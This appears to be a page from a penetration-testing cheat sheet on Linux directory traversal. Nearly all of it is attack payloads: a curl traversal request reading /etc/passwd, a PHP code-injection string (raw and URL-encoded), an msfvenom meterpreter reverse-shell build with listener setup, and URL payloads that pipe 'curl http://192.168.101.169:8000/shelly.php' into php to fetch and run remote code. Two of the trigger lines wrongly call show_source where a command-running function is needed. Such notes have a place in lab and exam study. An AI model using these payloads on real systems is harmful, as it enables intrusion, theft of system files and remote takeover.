Linux Directory traversal

'Nix specific

......file=current_menu.php

(whenever you see a file=…php it indicates a possible directory traversal path)

Trying something like “file=old.php” will trigger an error and reveal a sensitive pathway

#Using curl

curl -X POST -k https://10.10.10.10:12322/file_view.php -d “file=../../../../../etc/passwd”

#Special technique

' and die(show_source('/etc/passwd')) or '

(Might need to URL encode the request but this step is often redundant, will work out regardless)

#Raw:
http://192.168.101.176/index.php?page=' and die(show_source('/etc/passwd')) or '

#Encoded
http://192.168.101.176/index.php?page=%27%20and%20die(show_source(%27/etc/passwd%27))%20or%20%27

#Leverage to get a reverse shell

#msfvenom revshell payload 

sudo msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.169 LPORT=1234 -f elf > shell.elf

#serve the shell.elf with python (port 8080 or 8000)
#Start meterpreter listener (Kali)

use multi/handler
set lhost 192.168.101.169
set lport 1234
run

#Trigger revshell , 3 variants

192.168.101.176/index.php?page=' and die(show_source('curl http://192.168.101.169:8080/shelly.php | php')) or '  

192.168.101.176/index.php?page=' and die(show_source("curl http://192.168.101.169:8000/shelly.php | php")) or '

‘+and+die(system(“curl+http%3a//192.168.101.169:8000/shelly.php|php”))+or+’

#Null byte, double encoding and other tricks

#Common locations

PreviousWindows Directory traversalNextdotdotPWN

Last updated